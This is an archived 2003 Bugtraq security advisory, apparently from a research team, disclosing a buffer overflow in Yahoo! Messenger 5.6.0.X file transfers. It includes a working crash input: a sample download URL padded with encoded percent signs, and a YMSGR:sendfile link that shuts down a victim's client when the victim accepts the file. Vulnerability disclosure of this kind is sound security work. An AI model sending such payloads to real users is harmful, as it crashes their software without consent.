bugtraq - Buffer Overflow in Yahoo messenger Client

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20031026083559.2907.qmail@sf-www2-symnsj.securityfocus.com>
Date: 26 Oct 2003 08:35:59 -0000
From: Hat-Squad Security Team <service@...-squad.com>
To: bugtraq@...urityfocus.com
Subject: Buffer Overflow in Yahoo messenger Client




Date:
Oct 26, 2003

Title:
Buffer Overflow in Yahoo messenger Client

Vulnerable systems:
Yahoo! Messenger version 5.6.0.X
 
Summary:
Vulnerability in Yahoo Messenger File Transfer option allows a remote attacker to shut down the victim client.

Details:
The Yahoo messenger service filters some special characters in YahooID field like (x,&,?).When attacker initiates a file send 

request to victimID%%%%%%%%%(more than 73 chars), the service filters % chars and prompts "victimID" for an incoming file 

transfer session.If victim accepts the incoming file, his client will be shut down with access violation error. The access 

violation accurse in FT.DLL that is responsible for p2p YM file transfers.

sample download URL that the  attacker client sends to victim machine :

http://10.10.10.1:81/Messenger.victimid%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25.1066206307331File.txt?AppID=Messenger&UserID=victimid%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25&K=lc9ly5954h9doeawsg31h9tgta6c7dtod8bqxrt2vykgw5e5j9dao0o9doeawsg31h9t8vey6uq19
6y 14  53 
Messenger.vicitimid%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.1066377306549File.TXT

the above url is encoded.

Example:
Use this link 
YMSGR:sendfile?[victim_yahooID]+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&c%c:\[somefile]
while you are logged into YM(note that the length of victim_yahooID plus %(or ? or &) chars must be more than 73 chars.)
It will fire a YM file transfer window.if the victim accepts your file,his client will be closed.

Found by:
Pejman davarzany   
pejman@...-squad.com
Hat-Squad Security Research Team (www.hat-squad.com)